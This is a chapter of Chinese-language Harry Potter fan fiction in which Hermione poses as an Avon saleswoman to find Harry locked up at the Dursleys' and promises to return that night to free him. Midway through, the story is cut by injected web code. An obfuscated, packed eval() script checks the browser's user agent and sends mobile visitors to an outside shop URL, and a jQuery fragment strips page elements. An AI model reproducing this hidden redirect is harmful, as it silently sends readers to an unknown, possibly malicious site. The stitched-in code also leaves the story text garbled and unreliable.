赫敏让骑士巴士把她送到离女贞路两条街远的地方下车，然后她再不引人注意地步行过去。她很庆幸自己事先选择这样做——骑士巴士消失时“砰”的响声肯定会引起麻瓜们的注意。
下车后，赫敏不得不停在原地缓了一会儿，让胃里的不适平复下来。她没想到骑士巴士会如此颠簸——如果事先有人提醒她，她肯定不会在坐车前吃晚饭。
赫敏迈着自信从容的步伐走向女贞路4号。她不打算用偷偷摸摸、暗中潜伏的做法，有时候光明正大的出现反而是最高明的伪装。
她穿着母亲的衣服和高跟鞋，一套利落的衬衫搭配半身裙，戴着珍珠项链，肩上挎着一个单肩包。她还化了浓妆，尽力让自己看起来像个成年人，或者至少像个年纪稍大的青少年——那种可能在做兼职的青少年。她很高兴自己已经差不多快经历完身高猛长阶段了——她的身高让她看起来不那么像个孩子。
赫敏面带微笑，大大方方地敲了敲门，耐心地等待着。现在是星期五的傍晚，她希望哈利的亲戚中至少会有一位在家。
片刻之后，一个身材高挑、面容瘦削的女人打开了门，眯着眼睛打量她。
“佩妮·德思礼太太？”赫敏问道。
“什么事？”女人问，眼睛眯得更细了。
“很高兴见到您。”赫敏习惯性地微微行了个屈膝礼，“我是雅芳的销售员。一位玛姬·德思礼女士给了我您的名字，说您可能会对我们新系列的产品感兴趣。您现在有空吗？只要耽搁几分钟时间，就可以获得一份免费赠品。”
“哦！”佩妮放松了一些，脸上的疑虑消散了，“啊……好的，好的，请进。”
“谢谢。”赫敏礼貌地说。她走进屋子，随意地环顾了一圈：“您的家真漂亮，德思礼太太。”
“谢谢。”佩妮下意识应道，她领着赫敏走进客厅，“我去泡杯茶，马上就来。”
赫敏不慌不忙地打量着四周。墙上挂着这家人的照片——有那个瘦女人、一个胖男人、还有一个非常肥胖的男孩，赫敏觉得他有点像矮个版的克拉布。除此之外没有任何其他家庭成员居住的痕迹。
佩妮端着茶壶、茶包和糖回来了。赫敏跟着坐下来，感激地接过茶，小心地保持着优雅的仪态。
“那是您儿子吗？”她指着其中一张照片问道。
“没错。”佩妮挺了挺身子，“达力。他是我们的宝贝。”
“他看起来很强壮，”赫敏低声夸道，“我猜他是个体育明星吧？”
“他拳击很好，”佩妮点点头说，“我们非常为他骄傲。”
“真好。”赫敏朝她笑了笑，佩妮也回以微笑。
赫敏清了清嗓子。
“我们开始进入正题吧。”她坐直身体。
“啊，好的。”佩妮放下茶杯。
“我叫赫敏·格兰杰，”赫敏刻意放大了声音，她伸出手，“很高兴认识您，德思礼太太。”
“佩妮·德思礼。”佩妮握了握她的手，露出一个客套的笑容，“你之前是说玛姬推荐了我？”
“是的——她说她觉得我们的新款面膜会对您很有帮助！”赫敏一边撒谎道，一边伸手从包里掏出产品目录。这时，楼上突然传来一声沉重的巨响，赫敏停住了动作。
佩妮的脸一下涨得通红。“是达力，”她摇摇头说，“他太喜欢玩了！”
“小孩们都这样。”赫敏对她笑了笑。
赫敏开始向她推销雅芳的新产品。其实这些产品大部分她都不熟悉，不过，她知道的那些皮毛已经够用了，所以话术听起来很专业，而且她还拿着产品目录，看起来就像个真正的销售员。她还送给佩妮一小盒眼影作为“赠品”（其实根本不是雅芳的产品——她是在药店的清仓区买的），佩妮看起来挺满意的。
大约半小时后，赫敏脸上露出一个不好意思的表情。
“啊，恐怕我喝了太多茶，”她说着站了起来，“我可以借用一下您的洗手间吗？我把这些产品目录放在这儿，您可以随便翻看。”
佩妮听后神色有些慌张，眼中闪过一丝挣扎。
“洗手间就在楼上左手边。”她最终说道，“不过达力可能正在看电视或者玩耍，动静总是很大。别理他——他就是个还在长身体的男孩。”
“好。”赫敏和气地说。她一边上楼，一边留意着正在翻阅产品目录的佩妮。确认佩妮没有跟上来后，赫敏迅速向右拐，朝她之前听到响声的方向走去。
转过弯，她看到一扇上了大锁的门。门底还有一个猫门，猫门外放着一个空盘子，赫敏的心猛地一沉，赶紧跑到门边，跪在地上。
“哈利？哈利！”她压低声音喊道，推开猫门的挡板。
“赫敏？”
哈利的脸出现在地面高度，赫敏倒吸了一口凉气。
“他们把你锁起来了？”她惊愕地问。
“他们不让我出去，”哈利绝望地告诉她，“他们不打算让我出去，永远。回霍格沃茨也不行。”
赫敏感到胃里一阵恶心。
“别担心，”她对他说，“我会把你弄出来的。”
“别！”哈利恳求道，“你不能用魔法——我已经收到警告信了。我不想被开除！”
赫敏停顿了一下，然后点了点头。
“我今晚会再来，”她斩钉截铁地告诉他，“做好离开的准备。”
赫敏没给他回答的机会，径直跑到走廊另一头的洗手间冲马桶洗手，然后下楼。
“我好多了。”她朝佩妮露出一个她认为很像成熟大人的微笑，“您有看到什么喜欢的产品吗，德思礼太太？”
令她惊讶的是，佩妮还真的有。赫敏当场就给她填了一张真正的订单，她接过付款支票，然后递给她一张收据。
“您购买的商品会在几周内送达，”她告诉她，“非常感谢您抽出时间！我相信您一定会对买到的产品感到满意。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616224|202970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
佩妮和她来回说了几句客套话，赫敏内心仍在震惊。她甚至不太清楚该如何处理一份真正的订单——在她上学期间，一直是她母亲替她处理着作为雅芳销售的麻瓜事务。
她离开后，佩妮关上了门。
赫敏迅速躲到一丛茂密的灌木后面，踢掉高跟鞋。她脱下半身裙，露出里面长款的黑色衬衫，然后匆匆套上黑色牛仔裤。希望在夏日夕阳的光线下，没有人能在阴影中看到她。
她刚系好运动鞋，把裙子塞进包里，这时一个胖墩墩的大男孩吹着口哨沿着人行道走了过来。赫敏立刻认出他就是照片上的那个男孩，她皱起了眉头，难怪哈利那么瘦——显然达力把他的那份食物也吃了。
达力进了屋，赫敏独自坐了一会儿，思索着该怎么办。
她绕到房子后面，四处张望。等太阳又落下去了一些后，她小心翼翼地调动魔力，体内的风元素欢快地跃起回应她。赫敏谨慎地让自己贴着房子的外墙向上飞起来，但仍不时会撞到墙上——竖直向上飞还是很难。
令她惊愕的是，哈利的窗户上竟然装有铁栏杆。
“这太野蛮了！”赫敏惊呼道，哈利跑到了窗边。
“赫敏！”他喊道，停顿了一下，“……你在飞吗？”
赫敏突然意识到，情况可能会非常糟糕。
“当然了，”她说着，把脚藏了起来，“不然我怎么上来的？我借了把飞天扫帚。”
哈利露出疑惑的表情。
“我以为你讨厌骑扫帚呢。”他说。
“哦，哈利！”她说，“我才不会因为不喜欢骑扫帚这种小事就阻止自己去帮助朋友！”
她仔细地查看着窗户上的铁栏杆，小心地不让哈利看到她的脚，远远地放在窗户下面，让他以为自己站在一把悬浮的扫帚上。
她几乎希望自己是真的站在扫帚上——她为自己能够成功悬停而感到自豪，但她的飞行轨迹还是有些不稳，总是晃动不定。
赫敏叹了口气。至少这符合她不喜欢骑扫帚的形象。
“我去找帮手，”赫敏最后开口说道，“我晚点再回来。你先做好今晚离开的准备。”
哈利脸上希冀的神情让她心都碎了，赫敏朝他露出一个坚定的笑容，然后缓缓降落到地上——最后六英尺高时她没控制好直接摔了下来，重重地撞在墙上。
“哎哟！”
赫敏叹了口气，匆匆绕过房子走了两个街区，然后才举起握魔杖的手。片刻之后，一辆紫色的大巴车“砰”的一声出现，急转弯绕过一辆汽车，猛地停了下来。
“欢迎乘坐骑士巴士！”售票员招呼道，“这里提供……咦，你不是刚才坐过车吗？”
“是的，”赫敏踏上巴士的台阶，“我还需要再坐一次。”
“好的。”售票员友好地说，“不过你要再付一次车费。你想去哪儿？”
“奥特里-圣卡奇波尔。”赫敏叹了口气，“我要去陋居。”